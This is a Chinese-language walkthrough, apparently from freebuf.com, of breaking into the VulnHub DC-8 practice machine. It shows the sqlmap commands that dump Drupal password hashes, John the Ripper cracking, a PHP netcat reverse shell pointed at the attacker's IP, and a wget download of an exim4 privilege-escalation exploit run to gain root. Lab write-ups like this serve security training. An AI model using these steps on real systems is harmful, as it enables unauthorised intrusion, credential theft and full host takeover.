基本配置
靶机是VulnHub上下载的DC 8:
攻击机使用Kali2020.3,网络配置如下:
信息搜集
启动靶机后,第一件事先扫描虚拟网段192.168.187.0/24:
发现靶机192.168.187.141,进一步进行扫描:
暂时没有更多的收获,接下来先访问网站http://192.168.187.141:
是已经见过好几次的老熟人Drupal,可以看到网站首页的维护信息。
用dirb枚举网站目录,找到用户登录界面http://192.168.187.141/user:
点击侧边栏的Welcome to DC-8发现这个URL似乎有点不一样:
打个单引号看看有没有SQL注入:
有!接下来就从这里进行突破。
SQL注入
先使用sqlmap探测有哪些数据库存在:
sqlmap -u 192.168.187.141/?nid=1 --dbs --batch --risk 3 --level 5
很明显d7db是我们的目标(不知道为啥不是d8dc),继续探测该数据库的表项:
sqlmap -u 192.168.187.141/?nid=1 -D d7db --tables --batch --risk 3 --level 5
发现users表,继续探测users表中的字段:
sqlmap -u 192.168.187.141/?nid=1 -D d7db -T users --columns --batch --risk 3 --level 5
看到pass字段即可确认,这就是此行的目标,那么接下来把这个表dump下来:
sqlmap -u 192.168.187.141/?nid=1 -D d7db -T users --dump --batch --risk 3 --level 5
找到两个用户admin和john以及两个密码的hash值,把hash值先存在passHash.txt文件中,用john the ripper碰碰运气:
sudo john passHash.txt -show
其中一个用户的密码是turtle,经过尝试发现这时john的密码:
进入靶机
根据以往的经验,既然进入了网站,那么就可以通过在网页中嵌入一段脚本的方法来反弹shell。又由于Drupal使用的脚本语言是PHP,那么基本确定了下一步要做的就是嵌入一个PHP脚本来反弹shell了。
首先看看最醒目的Add content选项,看看可不可以添加php脚本:
很遗憾的是这里被限制为只能编制纯文本的形式,无法编写脚本。
但是经过搜索,发现在如下图所示的界面可以编辑php脚本:
注意这里有个小问题,在嵌入的php脚本前必须加入一小段话,不然这个php脚本将不会得到执行(参考https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjG3671lOjsAhUdyosBHX6vBw4QFjACegQIARAC&url=https%3A%2F%2Fblog.mzfr.me%2Fvulnhub-writeups%2F2019-09-5-DC8&usg=AOvVaw2-LnYLzVO7SaA2WLyqCo0p)。
那么下面就编辑一段简单的脚本,使用nc反弹一个shell:
<?php
system("nc -e /bin/bash 192.168.187.130 4444");
?>
保存后先在Kali上监听4444端口:
nc -lvp 4444
然后在Contact Us界面随便提交点内容,即可得到反弹的shell:
提权
先用python切换到一个交互式的shell环境:
python -c 'import pty; pty.spawn("/bin/bash")'
接下来先收集一些基本的信息:
可以看到这是一个比较正常的环境。再看看/home目录下有没有有价值的信息,结果只有一个空的dc8user目录:
那么接下来就正式考虑提权的问题,首先看看有没有可以已root权限执行的命令:
find / -user root -perm -4000 -print 2>/dev/null
有个exim4比较奇怪,先记录下来。
接着看看有没有免密码sudo的命令:
sudo -l
结果根本无法查看。
最后看看有没有内核漏洞:
uname -a
searchsploit 4.9.0-4
结果无功而返:
那么只有把精力集中在exim4上了,看了看命令发现exim4应该是exim的4版本。
先看看靶机上的exim4具体版本是多少:
搜索一下exploit:
一眼就能看到有几个 Local Privilege Escalation,选择如下这个exploit:
将这个exploit拷贝到dc8目录下,并在该目录开启一个简单的http服务:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh dc8
python -m SimpleHTTPServer # 用python开启一个简单的http服务器
来到靶机的/tmp目录下,使用wget下载46996.sh脚本:
cd /tmp
wget http://192.168.187.130:8000/46996.sh
先更改脚本的权限使其可执行:
chmod 777 46996.sh
根据脚本的提示,执行以下指令进行提权:
bash ./46996.sh -m netcat
结果出现了问题:
看了一下问题,发现是因为出现了Windows平台下的换行符“\r”,那就先在Kali上用vi将文件格式强制改成Unix格式:
vi 46996.sh
:set ff? # 查询文件格式
:set ff=unix # 将文件格式改成Unix格式
此时应该就可以执行这个脚本了,重新下载、执行脚本:
得到root权限。前往/root目录,读取flag:
总结
总结一下这次DC8的入侵实战
学到的知识:
进一步熟悉了sqlmap的操作
熟悉了john the ripper的操作
对提权的过程更加熟悉,有了自己的一套方法
还需进一步学习的知识:
对SQL注入不是很敏感,需要进一步熟悉其表现
来源:freebuf.com 2020-11-04 15:13:31 by: FFFcaptain328
请登录后发表评论
注册